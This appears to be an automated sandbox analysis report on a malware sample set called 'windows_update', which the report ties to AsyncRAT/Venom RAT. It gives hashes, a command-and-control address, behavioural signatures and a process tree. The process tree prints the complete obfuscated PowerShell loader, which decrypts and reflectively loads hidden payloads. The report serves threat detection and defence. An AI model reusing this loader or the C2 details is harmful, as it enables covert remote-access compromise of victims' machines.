Overview
overview
10Static
static
3windows_up...le.ps1
windows7-x64
1windows_up...le.ps1
windows10-2004-x64
10windows_up...le.vbs
windows7-x64
8windows_up...le.vbs
windows10-2004-x64
8fresh.exe
windows7-x64
10fresh.exe
windows10-2004-x64
10windows_up...er.cmd
windows7-x64
1windows_up...er.cmd
windows10-2004-x64
10windows_up...er.ps1
windows7-x64
1windows_up...er.ps1
windows10-2004-x64
10windows_up...rs.ps1
windows7-x64
1windows_up...rs.ps1
windows10-2004-x64
1windows_up...ad.ps1
windows7-x64
1windows_up...ad.ps1
windows10-2004-x64
10windows_up...te.cmd
windows7-x64
1windows_up...te.cmd
windows10-2004-x64
windows_up...te.vbs
windows7-x64
8windows_up...te.vbs
windows10-2004-x64
8windows_up...ad.cmd
windows7-x64
1windows_up...ad.cmd
windows10-2004-x64
10windows_up...ad.vbs
windows7-x64
8windows_up...ad.vbs
windows10-2004-x64
8windows_up...ws.cmd
windows7-x64
1windows_up...ws.cmd
windows10-2004-x64
10windows_up...ws.vbs
windows7-x64
8windows_up...ws.vbs
windows10-2004-x64
8Analysis
-
max time kernel
149s -
max time network
158s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
19-04-2024 07:49
Static task
static1
Behavioral task
behavioral1
Sample
windows_update/file.ps1
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
windows_update/file.ps1
Resource
win10v2004-20240412-en
Behavioral task
behavioral3
Sample
windows_update/file.vbs
Resource
win7-20240319-en
Behavioral task
behavioral4
Sample
windows_update/file.vbs
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
fresh.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
fresh.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral7
Sample
windows_update/loader.cmd
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
windows_update/loader.cmd
Resource
win10v2004-20240412-en
Behavioral task
behavioral9
Sample
windows_update/loader.ps1
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
windows_update/loader.ps1
Resource
win10v2004-20240412-en
Behavioral task
behavioral11
Sample
windows_update/monitors.ps1
Resource
win7-20240221-en
Behavioral task
behavioral12
Sample
windows_update/monitors.ps1
Resource
win10v2004-20240412-en
Behavioral task
behavioral13
Sample
windows_update/payload.ps1
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
windows_update/payload.ps1
Resource
win10v2004-20240412-en
Behavioral task
behavioral15
Sample
windows_update/update.cmd
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
windows_update/update.cmd
Resource
win10v2004-20240412-en
Behavioral task
behavioral17
Sample
windows_update/update.vbs
Resource
win7-20240215-en
Behavioral task
behavioral18
Sample
windows_update/update.vbs
Resource
win10v2004-20240412-en
Behavioral task
behavioral19
Sample
windows_update/upload.cmd
Resource
win7-20240221-en
Behavioral task
behavioral20
Sample
windows_update/upload.cmd
Resource
win10v2004-20240226-en
Behavioral task
behavioral21
Sample
windows_update/upload.vbs
Resource
win7-20240221-en
Behavioral task
behavioral22
Sample
windows_update/upload.vbs
Resource
win10v2004-20240412-en
Behavioral task
behavioral23
Sample
windows_update/windows.cmd
Resource
win7-20240319-en
Behavioral task
behavioral24
Sample
windows_update/windows.cmd
Resource
win10v2004-20240412-en
Behavioral task
behavioral25
Sample
windows_update/windows.vbs
Resource
win7-20240221-en
Behavioral task
behavioral26
Sample
windows_update/windows.vbs
Resource
win10v2004-20240412-en
General
-
Target
windows_update/windows.cmd
-
Size
109KB
-
MD5
fb0037160a00b86b8418ca6efedbafdb
-
SHA1
50cab1c16ab95af09fab1b3dbc8b0ee9960bce2e
-
SHA256
15378788a250cc88796c95c360aea5f0fabd7ff540b68974c930e9907fde7810
-
SHA512
07362a7b1d665477504cc177f1e208ccb8242a40b3aae6c213527a2baf04ba444584097dad034ffe3fc8eeb176d02125f99f23041840e66ed1fb990b7655e654
-
SSDEEP
3072:JpGKToitW8Jc86cKdN18shPU54CEd3gO8mjxuWrMz:TTVtWWv6c+N18shH+OxfrMz
Malware Config
Extracted
asyncrat
5.0.5
Venom Clients
kdfsv.duckdns.org:8890
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral24/memory/3676-34-0x000001C498300000-0x000001C498316000-memory.dmp family_asyncrat -
Blocklisted process makes network request 20 IoCs
Processes:
powershell.exeflow pid process 30 3676 powershell.exe 31 3676 powershell.exe 32 3676 powershell.exe 33 3676 powershell.exe 47 3676 powershell.exe 48 3676 powershell.exe 49 3676 powershell.exe 50 3676 powershell.exe 55 3676 powershell.exe 57 3676 powershell.exe 59 3676 powershell.exe 60 3676 powershell.exe 68 3676 powershell.exe 69 3676 powershell.exe 70 3676 powershell.exe 71 3676 powershell.exe 72 3676 powershell.exe 73 3676 powershell.exe 74 3676 powershell.exe 79 3676 powershell.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3676 powershell.exe 3676 powershell.exe 3292 powershell.exe 3292 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3676 powershell.exe Token: SeDebugPrivilege 3292 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid process target process PID 852 wrote to memory of 1484 852 cmd.exe cmd.exe PID 852 wrote to memory of 1484 852 cmd.exe cmd.exe PID 852 wrote to memory of 452 852 cmd.exe cmd.exe PID 852 wrote to memory of 452 852 cmd.exe cmd.exe PID 452 wrote to memory of 4440 452 cmd.exe cmd.exe PID 452 wrote to memory of 4440 452 cmd.exe cmd.exe PID 452 wrote to memory of 4312 452 cmd.exe cmd.exe PID 452 wrote to memory of 4312 452 cmd.exe cmd.exe PID 452 wrote to memory of 3676 452 cmd.exe powershell.exe PID 452 wrote to memory of 3676 452 cmd.exe powershell.exe PID 3676 wrote to memory of 3292 3676 powershell.exe powershell.exe PID 3676 wrote to memory of 3292 3676 powershell.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows_update\windows.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c \"set __=^&rem\2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\windows_update\windows.cmd2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c \"set __=^&rem\3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\windows_update\windows.cmd';$GZdQ='InnxIivnxIionxIikenxIi'.Replace('nxIi', ''),'MafFZUifFZUnMfFZUofFZUdulfFZUefFZU'.Replace('fFZU', ''),'RBxvFeaBxvFdLBxvFiBxvFneBxvFsBxvF'.Replace('BxvF', ''),'CryZmpeatyZmpeDyZmpeyZmpcryZmpypyZmptoyZmpryZmp'.Replace('yZmp', ''),'GeCwGCtCCwGCuCwGCrrCwGCenCwGCtCwGCPrCwGCoceCwGCssCwGC'.Replace('CwGC', ''),'ENPQHntNPQHryNPQHPoNPQHintNPQH'.Replace('NPQH', ''),'SZRwRpliZRwRtZRwR'.Replace('ZRwR', ''),'LoTzLuadTzLu'.Replace('TzLu', ''),'DeczTyPompzTyPreszTyPszTyP'.Replace('zTyP', ''),'CofgggpyfgggTofggg'.Replace('fggg', ''),'TrRwWianRwWisfoRwWirRwWimRwWiFiRwWinaRwWilBRwWiloRwWickRwWi'.Replace('RwWi', ''),'ChxtFnanxtFngextFnExxtFntenxtFnsxtFnioxtFnnxtFn'.Replace('xtFn', ''),'FrowqBNmwqBNBwqBNasewqBN64wqBNStrwqBNinwqBNgwqBN'.Replace('wqBN', ''),'ElMUHUeMUHUmMUHUentMUHUAtMUHU'.Replace('MUHU', '');powershell -w hidden;function vJfVF($ktYNE){$OYIYV=[System.Security.Cryptography.Aes]::Create();$OYIYV.Mode=[System.Security.Cryptography.CipherMode]::CBC;$OYIYV.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$OYIYV.Key=[System.Convert]::($GZdQ[12])('HessG9Sp8I98uzvuAQwIGoeAOpm2R4JZwqif+tn9mzM=');$OYIYV.IV=[System.Convert]::($GZdQ[12])('Sq8oY624DUi5D/0NV4f3lQ==');$NPmYK=$OYIYV.($GZdQ[3])();$clLIZ=$NPmYK.($GZdQ[10])($ktYNE,0,$ktYNE.Length);$NPmYK.Dispose();$OYIYV.Dispose();$clLIZ;}function JqmHs($ktYNE){$fhwpD=New-Object System.IO.MemoryStream(,$ktYNE);$yEEHb=New-Object System.IO.MemoryStream;$CPPWk=New-Object System.IO.Compression.GZipStream($fhwpD,[IO.Compression.CompressionMode]::($GZdQ[8]));$CPPWk.($GZdQ[9])($yEEHb);$CPPWk.Dispose();$fhwpD.Dispose();$yEEHb.Dispose();$yEEHb.ToArray();}$rlqXf=[System.IO.File]::($GZdQ[2])([Console]::Title);$bUDiU=JqmHs (vJfVF ([Convert]::($GZdQ[12])([System.Linq.Enumerable]::($GZdQ[13])($rlqXf, 5).Substring(2))));$hdfCS=JqmHs (vJfVF ([Convert]::($GZdQ[12])([System.Linq.Enumerable]::($GZdQ[13])($rlqXf, 6).Substring(2))));[System.Reflection.Assembly]::($GZdQ[7])([byte[]]$hdfCS).($GZdQ[5]).($GZdQ[0])($null,$null);[System.Reflection.Assembly]::($GZdQ[7])([byte[]]$bUDiU).($GZdQ[5]).($GZdQ[0])($null,$null); "3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orbceapg.1ev.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/3292-25-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmpFilesize
10.8MB
-
memory/3292-29-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmpFilesize
10.8MB
-
memory/3292-26-0x0000028E360B0000-0x0000028E360C0000-memory.dmpFilesize
64KB
-
memory/3676-13-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmpFilesize
64KB
-
memory/3676-32-0x00007FFD39950000-0x00007FFD39A0E000-memory.dmpFilesize
760KB
-
memory/3676-14-0x000001C500000000-0x000001C500044000-memory.dmpFilesize
272KB
-
memory/3676-15-0x000001C500050000-0x000001C5000C6000-memory.dmpFilesize
472KB
-
memory/3676-11-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmpFilesize
64KB
-
memory/3676-12-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmpFilesize
64KB
-
memory/3676-10-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmpFilesize
10.8MB
-
memory/3676-30-0x000001C498020000-0x000001C498034000-memory.dmpFilesize
80KB
-
memory/3676-31-0x00007FFD3AA70000-0x00007FFD3AC65000-memory.dmpFilesize
2.0MB
-
memory/3676-0-0x000001C4FD590000-0x000001C4FD5B2000-memory.dmpFilesize
136KB
-
memory/3676-33-0x000001C4982F0000-0x000001C498300000-memory.dmpFilesize
64KB
-
memory/3676-34-0x000001C498300000-0x000001C498316000-memory.dmpFilesize
88KB
-
memory/3676-35-0x00007FFD3AA70000-0x00007FFD3AC65000-memory.dmpFilesize
2.0MB
-
memory/3676-37-0x00007FFD1C5D0000-0x00007FFD1D091000-memory.dmpFilesize
10.8MB
-
memory/3676-38-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmpFilesize
64KB
-
memory/3676-39-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmpFilesize
64KB
-
memory/3676-40-0x000001C4FDBC0000-0x000001C4FDBD0000-memory.dmpFilesize
64KB
-
memory/3676-41-0x00007FFD3AA70000-0x00007FFD3AC65000-memory.dmpFilesize
2.0MB